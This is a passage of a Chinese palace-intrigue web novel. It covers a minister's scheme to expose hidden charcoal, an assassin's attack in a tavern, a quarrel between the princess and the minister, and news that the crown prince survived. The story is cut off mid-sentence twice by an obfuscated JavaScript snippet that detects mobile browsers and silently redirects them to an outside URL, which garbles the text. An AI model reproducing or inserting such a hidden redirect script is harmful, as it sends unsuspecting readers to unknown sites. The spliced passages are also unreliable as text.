这边的暮均时刻注意着自家大人的一举一动,自是也看见大人所圈之地是太子殿下丧命之地,想来也是,知己丧命,他怎能当作若无其事。暮均也不打搅他,移开眼,任由他自己无声发泄着情绪。 过了许久,暮均才又开口:“大人,十廿现身,需要告知公主么?” 娄卿旻提笔的手顿在半空,想到少女那日的话,他迟疑了,不过片刻便抬眸,道:“暂时不必。” 十廿此次重回应是还惦记着粗盐,这件事他一个人处理便好,不必卷入她,毕竟多一个人便多一份危险。 “备好马,夜里去一趟左师府。” “是。” …… 当日申时,左师府邸和司寇大狱各自收到一封密信,上面清清楚楚写着王家私藏木炭并将其偷运出城埋在山洞的事情,只是未透出方位。 天色已然暗淡下来,赵成延驾着马来到左师府上拜访。府门前的下人通报后便领着他穿过前院进到正厅,二人面对面站着,手上同时拿着相似的竹简,连字迹都如出一辙,一切自是不言而喻。 赵成延垂首感叹:“果然,大人也收到了王家私藏木炭的消息。” 周鉴转头吩咐下人烹茶煮水,便与赵成延坐在案前商议此事后面要如何决断。 他将两个信物放在一处对比,看着熟悉的字迹,心里便有了主意。 赵成延身为武官,自是不识得字迹出自何人,但他们文官彼此打过交道,有些人的字迹再怎么造假,他也能依靠笔力与字间距判断出是何人的手笔。眼下不宜戳破,他故意装作什么都不知,道: “虽不知是何人透露此消息,但既然有人故意在背后帮我们,我们便听他一次,我已经调配人马到淮山了,真相与否将东西挖出来确认一番便知。” “想不到王堃那等蠢人也有脑子做这样隐秘的事。” 周鉴知道先前姜家的事与他脱不了干系,朝堂上装疯卖傻是王家惯用的脱身伎俩,上不得台面,只是有些事国君睁一只眼闭一只眼,他们做臣子的也不会戳破。 维持好燕国内部不生变动,对大家都有利。 从国君下令起那日,他们便夜以继日派人盯着王酉铭府上,半月过去他迟迟没有任何动静,二人就快要放弃之时,忽然有人给他们传信说有了消息,事关王堃,二人这才觉得小看了王家人。 自先前粗盐之事,王堃在朝堂上被吓得疯疯癫癫便没再出来作乱,本以为就是个平平无奇的贪财之徒,便没把他放在心上。如今才知自己大错特错,他们从始至终一直将王堃与王酉铭分开来看,殊不知他二人本就出自同一宗族,纵使彼此相互照应互相依附也是正常的。 既然有了线索,没理由不去调查。 若真查出证据,剩下的事便由国君自己定夺。 时间一晃,两个时辰过去了,周鉴派去的人一脸失望地回来,禀报说那些坑中埋的根本不是木炭,而是柴火烧干了的灰烬,虽与木炭相似,但已经烧得稀碎,不能再次利用。 好不容易查到的线索又断了。 周鉴与赵成延得知此消息,一下成了步入迷途的羔羊,晕头转向走不出迷雾。 也不知是何人放出了这等假消息,不对,说是假消息,实则是王堃故意使了障眼法蛊惑那人,那人定是怀疑坑里面埋的是木炭,但又确实不知是烧尽的碳灰。空欢喜一场后,二人只能当做什么都没发生过,赵成延也拜别了周鉴回了自己府邸。 天刚黑,下人便传信说有一位自称华纪使臣的男子来访。 案件断了线索,周鉴心绪不宁。 他将所有不愉快的事抛在脑后,此刻正认真研究自己儿子送来的小玩意儿,侍女说完后,他埋在臂弯的头忽的抬起,眼神带着迷惑,“华纪使臣?娄卿旻,他来做什么。” 先前那次相处还算得上欢畅,周鉴吩咐下人请他进来。 不多时,侍女便带着人进了院,立在房门前。 男人高大的身影上被一袭暗灰色披风罩着,内里的淡蓝色锦绣长袍将其衬得英姿绰约,器宇不凡,他立在门前,颇有傲然屹立的松柏之茂,令人不敢不重视。 周鉴顺着暗灯向外探头,见男人伸手将披风解下,递给身后的少年。他这才注意到,今日娄卿旻带了个模样俊秀的侍卫,心中不免感叹,如今的年轻人也是一个比一个俊俏。 他起身走上前迎接,笑道:“娄少傅,多日不见,近来可好?” “一切都好。”娄卿旻回他的言语淡淡的,没有高高在上,反而比较恭敬,“深夜冒昧来访,大人莫怪。” 周鉴摸着下颌的胡须,忙摇头,“不会不会。” 而后二人轻车熟路地坐到木案两侧,侍女为他们上了一盏茶,依旧是华纪专产的云华绿茶,周鉴指着冒着热气的茶杯,道:“天气寒冷,少傅大人喝杯热茶暖暖身。” 娄卿旻琉璃棕的眸子微垂,盯着茶杯,点头谢过。 周鉴品了一口茶,按捺不住了,抬头问道:“不知少傅此次前来是有何要事?” 娄卿旻白皙的手指摩挲着杯壁,感受着热茶传出源源不断的温度,身子暖起来,见人如此明事理,他便略过寒暄,直白地道了出来:“在下听闻国君给大人派了辛苦差事,想问问有什么可以是在下能帮的?” 辛苦差事,一听便知是王酉铭。 娄卿旻目的太过明显,周鉴一时不知怎么接话,室内便沉寂良久。 过了一会儿,周鉴才找到托词:“少傅大人毕竟不是燕国人,插手此事怕是不妥。” 娄卿旻面上似笑非笑,眸子紧锁住中年男人的面庞,道:“大人与赵司寇已经查了数日还未有任何进展,想必是被人用障眼法迷住了。” 话音刚落,周鉴眼中闪过狐疑。 障眼法?莫非他也知晓木炭变成碳灰的事? 周鉴登时意识到眼前人不一般,立刻半眯着眼,细细打量着娄卿旻。他为官多年,也晓得有些人表面看着淡漠如君子,能进能退,看似不起眼实则隐藏至深,极其有主见,关键时刻将变成操控整盘棋局的执棋者。 不出意外,娄卿旻正属于此类人。 周鉴不禁想起先前娄卿旻在大殿上与国君对峙的场面,那时的他可是丝毫不占下风。他也晓得娄卿旻入朝为官短短几年便为华纪立下诸多功劳,偏偏还十分忠心。 此等贤才,着实不是一般的人。 一想到此人或许是王酉铭案件的突破口,周鉴也不管他是不是燕国人,忙不迭开口求一个答案:“少傅此言何意?莫不是知道些什么?不如敞开天窗说亮话吧。” 娄卿旻想起方才路上暮均与他所说姜宣同给他们送信之事,意味深长地点明:“若在下没猜错,王堃那夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405627|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所埋之物大人应悉数挖出。原本的木炭忽然成了碳灰,大人心中应是不好受的吧?” “你怎知……”那是碳灰? 周鉴心中忽然有一个大胆的猜测,他道:“莫非少傅大人知晓木炭的去处?” 娄卿旻没言语。 周鉴叹了口气,又道:“娄少傅若知晓真相,烦请与我透漏半分。国君让我等调查王家,若是找不到他们藏匿木炭之地,这件事便会不了了之。百姓们都是有苦不能言,怕的是躲过了今年,躲不过明年。” 娄卿旻还在卖关子:“大人可知木炭的用处,除了生火取暖、冶炼兵器,还能作何用处?” 话毕周鉴开始思索,木炭是达官贵人们冬日取暖专用的物什,也是烧火做饭冶炼兵器的重要火源。 鲜少有人知晓它更是去味去潮保持干燥的好东西,还能反复使用不浪费。 去潮。 哪里需要去潮,自是那暗黑不见光明的地方。 王家上上下下都查过了,甚至连王堃所负责的制盐之地都查过,到处都没有木炭的踪迹。 众人从未发现过木炭数量的大规模缺失,那定不是一朝一夕能运走的,如此看来,他们必然是抓住机会便运走一批,长此以往,积少成多,他王家自然也就拥有全燕国最多的木炭,便也能控制每年冬日木炭流入百姓家的数目。 更何况国库钥匙在王酉铭手中,他自是想干什么就干什么。 他忽然想起王家每月总有那么一两日的祭祖之日,或许那木炭便被他们藏到众人都想不到的地方——王氏宗族的祖坟墓穴中! 木炭可以去潮,保持干燥,就算放置于墓穴中,来年取出晒过还能继续用。更何况,若非娄卿旻提醒自己,任他想破脑袋都不会想到此处。 前路骤然明晰,周鉴忽然大笑:“老夫知晓了,此次多谢少傅大人指点,待解决此事,定会好好重谢你。” 帮人解决了难题,娄卿旻随之暗地扯了扯唇角。 今日来此,就是要周鉴欠他一个人情,日后能为己所用。 事情解决,娄卿旻准备离开,他漫不经心地抬眼,眸子忽然瞥见周鉴手中攥着一块东西。 从方才进门他便注意到周鉴袖子旁放置的东西,有些眼熟,曾经见过。眼下男人将其抓在手中,他免不了好奇,便开口一问:“见大人手上一直拿着此物,是作何用?” 周鉴点头,若无其事地笑笑,解释道:“此物乃八卦锁,据说不费蛮力解开便能看到内里的机关,这是我儿远行时淘来的玩物,让我解闷用,但迟迟打不开,老夫心里别说玩了,反而更闷更焦灼了,不知你可有解开的法子?” “在下可一试。” 说罢,他从周鉴手中接过八卦锁,拿着它左右看了许久。 八卦锁是由铁制造而成,看似四块铁实际是由两块铁加上中间的铁柱拼在一起的,纯铁之物,拿在手中沉甸甸的。娄卿旻方才前后左右翻看过,见到中间的缝隙与铁柱,他便了然。 他回忆着先前的解法,将其放在桌案上,而后指尖抚着八卦锁的两端,让其顺时针转了一圈后,又翻了个面,再次旋转一圈,咔的一声,两块铁中间凸起了一层。 他轻描淡写地抬手,直接将两块铁分开,递到周鉴眼前。 周鉴满脸震惊,他大喜:“竟真的解开了!” “少傅大人果然聪慧过人,随便一件事都能手到擒来,老夫实在是佩服,佩服啊!” 娄卿旻被夸得有几分报赫,忙接话:“大人过奖了,与您先前的功绩比,在下属实是小巫见大巫,雕虫小技罢了。”他也是先前在朝饶那里接触过此物,便也无意中得知此物的解开方法,想不到今日能派上用场。 二人告别,娄卿旻便准备启程回去。 周鉴将其送至府门前,还是忍不住又夸了嘴:“娄少傅正处风华正茂时节,还有大把日子建功立业,寿终正寝时谁高谁低还未可知,不过既然你今日帮老夫解了疑,日后若有什么需要老夫帮忙的,尽可来找我,千万莫要见外。” 冷风呼啸,衣袂飘飘,娄卿旻才感觉到冷。他接过暮均手上的披风,将其披在身上保暖。最后十分有礼节地朝周鉴一拜,“那在下便提前谢大人,还望日后多多相助。” 周鉴哈哈一笑,“自然自然!” 目送娄卿旻骑马扬长而去,他依旧久久不回神,想到男人的聪慧与心计,暗自叹道华纪能拥有此等人才,日后定会更加强盛。 而身为华纪的附属国,日后自是也能沾上几分光。 他后知后觉,想到国君燕融求娶朝弦一事,先前觉得是失了理智,如今才发现,那步棋果真是最好的未雨绸缪。 只是可惜了华纪的嫡公主朝颜,竟要嫁到普桑那蛮横之地去,若不然他定要撮合朝颜与那敬文君燕晤联姻,如此更是亲上加亲,好上加好了。 42. 卷土重来(六) 翌日辰时,姜宣同如往常一般穿着他那身显眼的衣衫,若无其事地去了连瑕所开的酒肆,点了饭菜与茶水后便一直坐在角落中的小桌上慢悠悠地消磨时间,一来是特意看看多日未见的连瑕,二来也是在等王家被围攻的消息。 然半晌午过去却仍没等到外面传出王家倒台的消息,外面风平浪静,人来人往各司其职,好似什么都不会发生。 念及此,姜宣同便知那二位大人还未将消息禀告给王上,想来是有自己的打算。 姜宣同失望过后又想明白了。 成大事者不在乎这一朝一夕,暂且让王酉铭多活几日,不过他心中仍是愤愤不平,胸腔的怒火上不去下不来,令他思绪纷乱。 他那双凤眼半阖着,鼻尖冷冷哼出一声后,又端起茶杯抿了一口。 味道甘甜,回味无穷,一下便让自己消了气。 每每来此用膳,他总会感叹一番连瑕的手艺,实乃燕国之绝佳,且她还无所不能,菜肴点心与汤羹,无一不会,如此心灵手巧的可人儿,模样又貌美如花,实为罕见。 日后若谁人能娶了她,可是天大的福气。 姜宣同又用力摇摇头,将那荒谬的思想去除,女子也不一定非要嫁人,如此衣食无忧度完后半辈子也是好的,只是怕她一个人生活,会孤寂。 他忍不住呆愣愣地笑了起来,脑中浮现出二人相依相伴的幸福画面,不过片刻便消除了,想来自己还真是不知天高地厚,居然还幻想与她一起过日子。 姜宣同神游天外间,眼前桌案忽然多出一小碟点心,他定睛一看,认出那是桃花酥。 精致的桃花模样色泽鲜艳,外皮酥脆还掉了少许渣皮,一眼看去,垂涎欲滴。 姜宣同观赏完点心察觉面前多出一个人,他悠悠地掀起眼皮,只见自己心心念念的连瑕此刻正站在桌前,身着一袭藕粉色直琚衣裙,用细线将宽大的袖口连在一处,乌发也被丝带编成麻花模样,披在身后,装扮清爽又干练。 太过美丽。 他心怦怦直跳,还未来得及张口打招呼,便见连瑕坐在自己对面,脸色严肃,“姜公子,多谢你这些时日来此处关照我的生意,我是由心感谢。” “但我有件事一直想问公子,公子如此举动究竟是想要做什么?又有何所求,大可直说。” 连瑕已经忍了许久,这话她早就想问了,但又碍于公主与姜宣同的关系便一直未开口点破,本以为前几日不来此事便当作没发生过,不料他今日又来了。 这日复一日打搅人的行为让她无言以对,不知所措无从下手。 她只知长此以往下去自己定会疯魔,为了让彼此都好,索性她今日鼓起勇气讲话摊开来讲。 连瑕知道不是一句两句能说清的,二人便一同上了楼上空闲的厢房,进入屋内后,姜宣同便收起纨绔子弟的风流模样。 二人面对面对坐着,姜宣同将那碟桃花酥小心翼翼地摆在案上,认真看着对面俏丽的女子,想到她方才那般强硬的言辞,他面上明显多了几分慌乱。 他忽然感觉前半生撩拨女子的本事都没了,这一刻的他像是变成了不谙世事的后生,张嘴就开始胡乱解释一通:“连瑕,你听我解释。我……我只是喜欢你做的菜肴,并未有其他所求。” 连瑕显然不信,语气疏离:“从前种种皆非我所愿,若是您心中还记着先前我夫家答应您的嫁娶之事,请恕连瑕不能应承。小女子身份低微,自知无法与旁人作斗争,但我心性强悍,做事刚硬,若真要将我逼到绝境,我宁死不从。” 她的声音愈来愈抖,好在她一鼓作气地说完了。 本以为说出来是解脱,不料下一刻,她竟控制不住情绪,眼眶泛起一抹红润。 姜宣同见事情不妙,怕人哭出来,连忙用力扯下自己一块衣角递过去,安抚道:“你千万别哭啊,若是让朝颜看见你哭,又要说我的不是。” 他如今脑子也是乱的。 先前连瑕在朝颜面前替自己解释了几句,他还以为二人已经冰释前嫌,如今才发觉他们的嫌隙不可磨灭,先前可能是姑娘脸皮薄,不愿将事情扯上台面来讲。 又或者是,自觉身份低微,不与他斗。 可他从未想过逼迫,更是不会与女子斗。 情不由衷,姜宣同突然很心疼她。 一个人无依无靠,所遇非人,差点葬送自己的一生。 若不是后来遇见朝颜,发生一系列事,她还不知会是何种结局。 想来,想来她是怕自己的。想到这里,姜宣同身上的挫败感油然而生。 他一直没敢再开口,看着连瑕心绪好些了,他才又解释:“我实在是没有要纠缠你的意思,只是好奇,好奇你一届女子为何这样有本事,能开得了酒肆还能亲自下厨掌勺。我也很欣赏你,像欣赏诗词画作那样,并没有要逼良为娼的想法。先前是我的不对,那时我见色起意做下恶事,但我如今确实是不敢再那样放肆了,不求姑娘原谅我,只想姑娘别赶我走,我是真的很喜欢姑娘的厨艺。” “一日不吃都想得慌。” 见连瑕如此怕他,姜宣同自然不能直接说爱慕,只能隐藏着自己的心,编瞎话暂时制住她。天地良心,他这也是善意的谎言,若连瑕日后实在不愿,那他只能忍痛割爱,放弃了。 姜宣同都已经做好连瑕还要再与他讲讲道理的准备了,不料对方有些信了。 经历往事的连瑕像是浑身爆满尖刺的刺猬,听完姜宣同发自肺腑的夸赞,她也学着慢慢拔下自己身上的刺,而后用湿漉漉的眼睛看着他,声音轻得像是羽毛飘过:“公子此话当真?” “比真金还真!”姜宣同接话。 话音刚落他便打了个激灵,脑海显现出朝颜要杀人的凌冽面孔,眼下不真也要说真。 他话中确也有几分真。 譬如,他是真心欣赏连瑕。 以往那些女子都爱攀附权贵,实在是无趣,但连瑕很明显是不一样的,是特别的。 连瑕不知人心中所想,知道姜宣同对她没有旁的想法便也不再扭捏,直接提议道:“既如此,那还请姜公子日后不要再做出让旁人误会的事,也不要再去后厨了。” 姜宣同心中不喜,但他又不想彻底失去接近连瑕的机会,他皱着眉准备想个好借口,“可是……” 他刚吐出两个字,忽然听见窗口一阵稀嗦的响声,紧接着一股疾风从身后袭来,风中夹着冷气和不可忽视的杀戮气息,耳边传来男子凶神恶煞的喊叫:“姜宣同,拿命来!” 声音十分熟悉,姜宣同回忆之际愣在原地,尖刀刺过来都未察觉,还好关键时刻连瑕反应快,用力拉了他一把,这才躲过,姜宣同站直身子向后转头一看。 居然是熟人! 他目瞪口呆,受了惊吓,紧紧皱眉盯着男子那张熟悉的脸。 任谁也想不到,本该入土化成枯骨的十廿此刻竟又好端端地站在他面前了。 十廿手上的刀光闪烁着银光,他被这道光亮刺地眯了下眼,疑惑又震惊:“你居然没死?” 十廿没理会他,翻了个身便直接抬手持剑刺了过去。 姜宣同察觉到十廿身上的杀气,连忙拉起连瑕满屋逃窜。 他未习过武,只能拾起屋内乱七八糟的器物全部往十廿身上丢去,不多时床幔便被划得破败不堪,坐垫也已七零八落,成了碎片,茶壶瓷杯摔了满地,怕连瑕受伤,姜宣同抓住时机便拉着她向往门口跑去。 外面人听见屋内打斗声推开房门,姜宣同眨眼间用力将连瑕推搡出去。 连瑕反应机灵,出门便大喊大叫呼救求人:“来人啊来人!有刺客!” 自李轩来捣乱的那次,客舍外便被朝颜安排了许多守卫,听到呼救声后立马拔出刀剑跑上楼来。 十廿瞥了连瑕一眼,心道真是坏事的女人。 姜宣同见人晃神,越到角落里拿起青铜灯台朝他挥去,十廿看不上这些小儿科,索性不陪他玩闹,直接不管不顾朝姜宣同砍去,几剑虽命中,但都未致命。 情况急迫,门外脚步声来势汹汹,一听便知不是一个人,十廿自知无法以少胜多,又不想坏了自己后期的事,连忙退到窗边准备逃跑,临走前他恶狠狠地盯着姜宣同,眼中冒出些红血丝。 门外赶来一大群人,说时迟那时快,十廿直接向后一个翻身便从二楼窗口跳了出去,守卫来窗口查验探时,他已经穿过屋檐,跳下房顶从混乱的市集中消失得无影无踪。 见十廿逃跑,姜宣同身上坚持的那股不放弃的心忽然撤了下去,力气顿时消散,肩上与腹部的伤口源源不断地向外冒血,他终是抗不住疼痛,晕倒在地。 连瑕最先发现,一个箭步跑上前,托住他的头,“姜公子姜公子,你醒醒!”她手颤抖着去试探男子鼻息,虚弱无力,仿佛没有呼吸,她连忙唤守卫将姜宣同抬到另一个房间。 光天化日行刺,这场变动将酒肆弄得手忙脚乱。 百姓众人听闻后亦是惶恐不安,一传十十传百,不到半刻就传遍整个外城,也自然而然地传入内城。 朝颜如往常练过武后坐在寝殿内等王家的消息,谁知听见槐夏来报说姜宣同与连瑕在酒肆遇刺,她大惊失色,片刻不敢耽误就安排人马出宫。 她抵达时之,姜宣同身上的伤口已经被医者包扎好,连瑕已经帮他煎好了药,正一口一口喂他。 姜宣同虚弱不堪地躺在榻上,衣衫渗出的血触目惊心,让人害怕。 朝颜与连瑕了解了事情的起因经过,便坐在一旁等人醒来。 失血过多身体虚弱,直到一个时辰后,姜宣同才悠悠转醒,双眼混沌。 察觉到男子起身的动作,朝颜回神后立刻将他按回榻上,满目愁容,关心道:“你受伤了先别起来,多歇歇。” 待姜宣同清醒几分后,朝颜才问:“到底发生何事了?” 连瑕只说是年轻男子,但朝颜不确定是不是那个人。 话毕,姜宣同将混乱的思绪理清,他回想起十廿,眉目变得深沉,他抓着朝颜的衣袖,攥得很紧,“是十廿,他又出现了!” “他竟然又回来了?” 姜宣同听出朝颜对十廿还活着一事并不意外,可那时朝堂间分明已经昭告天下十廿在牢狱中自杀身亡,怎又凭空出现?朝颜又为何瞒着他? 不过他没打破砂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405628|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅问到底,他抚着肩上的伤口,对朝颜道:“还好有你先前安置的守卫,若不然我今日必定会葬身于此。” 朝颜陷入沉思,她早知道十廿没死,但她从未想过十廿会来的如此快。 不过片刻她眼底划过一丝冷漠。 既然他敢来,此次便叫他有来无回。 她看着姜宣同叹了口气,柔声道:“十廿这次重回绝对是报先前牢狱之仇,从今日起堂兄你必须好好养在家中,切莫再随意出入,我会求堂姐派些守卫保护你与舅父,你先养伤,迟早有一日我会替你报仇!” 受了伤的姜宣同此刻弱不禁风,性子也比先前平和不少,乖乖应下:“好,都听你的。” 安抚好姜宣同,朝颜本想请个仆人照顾他几日,不想连瑕主动请缨,朝颜便随了她。 坐在回宫的马车上,朝颜才想起一件事。 十廿居然能在连瑕酒肆找到姜宣同,那便证明他不是第一日回燕国,或许他一早便埋伏在外城监视众人。 既如此,那娄卿旻是否知晓十廿卷土重回之事。 朝颜唤了声槐夏,大声道:“掉头!去城东,我要见娄卿旻!” 槐夏虽然已经习惯了公主直呼娄少傅的名讳,但她能听出此刻的公主语气很不高兴。 卯时刚与娄卿旻一齐练过箭,朝颜知晓娄卿旻此刻在外城,而后直接去了先前去过的酒肆。 早料到朝颜会来寻自己,娄卿旻早早坐在正厅等候。 朝颜上了二楼进了先前去过的屋子。 室内窗棂紧闭,阴暗不明,她顺着一丝微光找到隐在阴冷处的男子,语气凉薄,直接开门见山:“大人知道我会来兴师问罪,所以在这儿等。” 见人不答话,后又追问:“您早就知道十廿回来了,对不对?” “不错。”只回她两个字。 他言语冷漠,平静得不像话。 所以他是知道十廿会找堂兄麻烦,故意隐瞒。 她唇角扯出一抹冷笑,她早该猜到的。 娄卿旻心思细腻,先前十廿假死便是他发现的,他又怎会不知晓十廿卷土重来。他什么都知道,把一切事情全都掌控在自己手中,不与旁人透露半分,看着他们像跳梁小丑般在一旁闹笑话。 想到这儿,朝颜面色变得十分难看,似娇花黯然失色,她字字句句,掷地有声:“大人既然早已知晓,为何要隐瞒?之前我们不是说好,一有十廿的消息你便与我说么?既然答应了又为何食言?难道我与大人之间没有半分信任可言么?” 朝颜一顿,又道:“还是大人觉得我会坏了您的大事,所以故意不说?” “亦或是,你本就是另有目的,想借我堂兄引十廿上钩?难道在大人心里,我们都是你随时可用的棋子么?你是不是根本就没有心?你知道么,你冷漠无情的模样根本不像一个真实存在的人。”朝颜字字珠玑,似刀剑般往人心上戳。 她不给人留面子,胡乱发泄一通便沉默了,等他解释。 二人间的氛围还是第一次这样拔剑弩张,外面候着的随从都不敢发出半点声音,生怕惹急了一触即发。 屋内的娄卿旻亦被她这几句嘲讽弄得手足无措,不知从何解释。 他垂眸,脑中闪过她的话语。 没有心,不是人,他甚至觉得她说的话有几分道理。 早在父母在他面前被害的一刻,他便已经没了心,没了心又谈何是人。 半晌后,他听到一阵抽泣声,诧异抬眸,少女被气得面颊泛红,对上那道微微湿润的眼睛后,顿时一阵心慌意乱,说话都慢了一个语调:“殿下,臣没有想隐瞒你,只是事关华纪……” 他想等时机成熟再与她说,但他万万没想到十廿如此莽撞突然,竟不惜暴露自己也要杀了姜宣同。 事关华纪,又是事关华纪。 他每次总会拿华纪当借口,生怕她坏了家国大事。 朝颜听完他似解释又没解释明白的话,面上已经没了平日里的和颜悦色,她像看着陌生人似得扫了娄卿旻一眼,最后淡淡道了句:“是我看错了你。” “我以为我们已经是朋友了,想来应是我一厢情愿。” “罢了。人与人之间若失了信任,那这关系便没法继续走下去。既然这样,那往后我们也不必再一同行事,各自分道扬镳为好,免得我们耽误少傅大人报效家国。” 若非他隐瞒不报,姜宣同又怎会受伤,先前她是派了守卫在酒肆旁,若是没派呢? 那姜宣同与连瑕今日必死无疑,她怎敢拿舅父的独子去冒险?又怎么能让无辜的连瑕身陷囹吾? 或许她与娄卿旻本就不是一路人,若不是他一心想带自己回去和亲,也本不该有交集。她原以为自己与他一同经历了许多事,二人关系已近了不少,她也从未过多问过那些国家机密,亦是不敢问。 但关于十廿之事他不该隐瞒。 这是底线。 朝颜眨眼收回快要落下的泪珠,极其失望地看了他一眼,转身便离开。 娄卿旻抬手拉她却只碰到一处衣角,宽大手掌就这样悬在半空,他注视着少女离去的方向,久久不能回神。 43. 卷土重来(七) 还有不到五日便是元朔之日了,燕国整座城池却因木炭之事陷入深沉的悲寂,毫无半点临近年关的喜悦庆贺之感。天公不美,貌似是在为百姓们喊冤,连着多日鹅毛大雪纷纷扬扬,压在枝头落了满地。 自从上次与娄卿旻在酒肆一别后,朝颜心灰意冷,彻底与他断了联系,便没再去找他练武,但学武之事是她自己提出的,没有半途而废的道理,她索性向王后讨要了把箭矢在自己院中练箭,时常从早练到晚,似是入了迷。 因刻苦练箭,她便也没时间去去寻仲清先生,又想到燕晤也在,她也没有再去藏书室的心思。 就这样安然无恙地过了一日,宫内宫外便传开些流言蜚语,说左师大人与大司寇带着兵马去搜了王酉铭的祖坟墓穴,搜出许多半湿半干的木炭,又将淮山脚下的碳灰也挖出来做了证据。 燕融得知后大怒,下令查抄王氏各个宗族,将他们这几年得来的俸禄悉数上交充到国库,就连王堃的盐官一职也被罢黜。 王堃父亲仍当任文官,但已经成了空有名头无实权的人。 为此王酉铭曾去大殿上请罪,主动革去官职,要留在府门面壁思过,日日食素为百姓们祈福。 众人皆知他这是故作姿态,以退求进,眼下假装不爱名利主动退出,日后定会抓住机会重返朝堂。 也不知是从前错怪姜贯的内疚还是出于对人心的拉拢想要补偿,燕融居然特意下了王令让姜宣同取代了王堃的盐官之位。 朝颜知晓后心中很纳闷,不理解燕融此举意义何在,但也特意给姜宣同送去了贺礼。 由于这是国君亲封的官职,姜家一下子多了不少赏赐,不仅如此,还多了些侍奉的奴仆。三人聚在一处谈心,他们都明白,从王令颁下的那刻起,姜家与王家便不会再和平相处。 燕融胸有城府,将整个局掌握在自己手中,他的目的就是为了让姜家挡在他身前,替他承受王氏家族的愤怒憎恨。 他是国君,他下的令容不得任何人拒绝。 经历诸多杂事后,朝颜逐渐看明白许多道理,对燕融的脾性又多了解了几分。 身处高位之人,没有一个是省油的灯。 夕阳沉降,暮色渐起,不知不觉入了夜。 朝颜有些累了,与二人告别后启程回宫。 回到寝宫已是月悬高头,她褪下白衣裘袍,刚准备沐浴便听侍女说王后的人来访,说是明日开始王后要为今岁的元朔日晚宴做准备,事情繁琐杂乱,说让朝颜过去听曲,顺便帮着挑选宴席那日的菜肴与歌舞。 最近几日在宫苑大门不出二门不迈,麻木练箭,日复一日重复的生活无趣但也算充足,朝颜就要开口拒绝,槐夏不知自家殿下与少傅大人出了何间隙,但她看不下朝颜如此闷闷不可的模样,便在一旁劝说去放松一下,找些新鲜事做。 朝颜想了想,槐夏所言有理,总归也是闲着,不如就找些事做让自己忙活起来,便应下了。 * 来得早不如来得巧,翌日卯时三刻朝颜抵达少寝宫时,宫人们说王上王后二人在寝殿内用膳。 朝颜这次很有眼力,没再进去打扰二位,自己在一侧偏殿内候着,看着宫人们送来的菜肴汇编。 宫中宴席最是繁琐复杂,菜品样数有很多,单单鱼类便有烹、炸、炖、煮许多做法,更有口味丰富的玉露琼浆。她便选了几个先前尝过的、鲜美可口的写在一侧简牍上。 过了半刻,门外传来一阵细碎的脚步声。 朝颜示意槐夏去开门,不多时便见一道扎眼的朱红身影迈进来,抬眸看过去,长衣大袖下一双柔荑交叠在腰腹,白嫩细长,腰身也被一圈三角纹锦带裹得紧紧的,一行一动很是婀娜,就连脖颈处那串样式极其简单的琥珀璎珞,在她这样绝艳面庞的衬托下也渐显金贵。 纵使知道华纪美人在几大国中是出了名的,但朝颜还是觉得天下最美莫过于她的堂姐——朝弦。 也难怪燕融当年与寺中匆匆瞥她一眼便深陷其中无法自拔,不惜割让国土也要求娶。 美人总是赏心悦目的,朝颜就这样看着她,欣赏着她的美貌,情不自禁笑了起来。 “怎么,我还未与你说这天大的喜事,你便心有感应了?” 朝弦没头没尾的话倒掀起朝颜一抹好奇,她眨眨眼,起身拉过人坐在一侧,拿起案上的暖手炉递到朝弦面前,漫不经心地开口:“什么样的喜事居然能被姐姐说成天大?” 眼下已经没什么事能掀起朝颜的情绪了,她的反应便也比预料中更平淡些。 朝弦在她面上扫来扫去,看她一副心绪不宁的模样,也不卖关子,直接道:“昨夜有华纪的人来信,说国人们寻到太子哥哥的下落了。” “此话当真!”朝颜瞪大双眸,嗖的一下站起身,满脸不可置信。 朝弦笑着安抚她,“这是华纪传出的消息,应是做不得假。” 说罢她递给朝颜一封信件,朝颜打开来看,上面明晃晃写着“太子重伤于关隘休养,待愈而归。” 待愈而归,待愈而归。 兄长还活着! 朝颜本已经不抱任何希望了,谁知会在这样平凡的日子里传来这等好消息。 心中那片原本沉寂许久的荒芜之地好似又逢甘霖,终于恢复了生机,她眉眼弯弯,面颊泛红,浑身散发着喜悦之色,红唇反复念着“太好了太好了!” 而后激动地拉过朝弦的手,喜极而泣:“我就知道,兄长他吉人自有天相,有神灵庇佑,不会有事。” 总归是小孩子,得知兄长大难不死,情绪也忽而变得不受控。 朝弦见得多了便什么都懂,见朝颜红着眼,一把将其揽入怀中,轻轻拍着她的肩膀,语气轻柔地安抚着:“好了,不哭,这是天大的喜事,应该多笑笑。” “对,该笑,是该多笑笑!” 朝颜十分乖觉地窝在女子温暖的怀抱中,感受着亲人抚慰,也想体验一回被人宠爱的感觉。 只有她自己知晓,她内心深处承载着两世灵魂,自重活那一刻起,她无时无刻不在伪装自己,让自己变得不那么软弱可欺,她想利用自己知晓的所有事去努力改变前世的悲惨结局。 可纵使她面上是多么坚强,她也有脆弱的一刻,她也不过才十多岁,是还未及笄的年龄,也是该被保护被宠爱着的。 此时的她全然褪去那将自己包裹紧紧的保护层,让自己只当一个年少无知的小妹妹,去享受着这短暂的、片刻的温暖。 兄长没事,于她来说,于华纪万千民众来说,实在是最好的幸事。 许久后,混乱的思绪重归原处,她逐渐缓过神,从朝弦的怀里退了出来,认真问她:“那堂姐可知我兄长现下住在哪个关隘?” 此话将朝弦问住了。 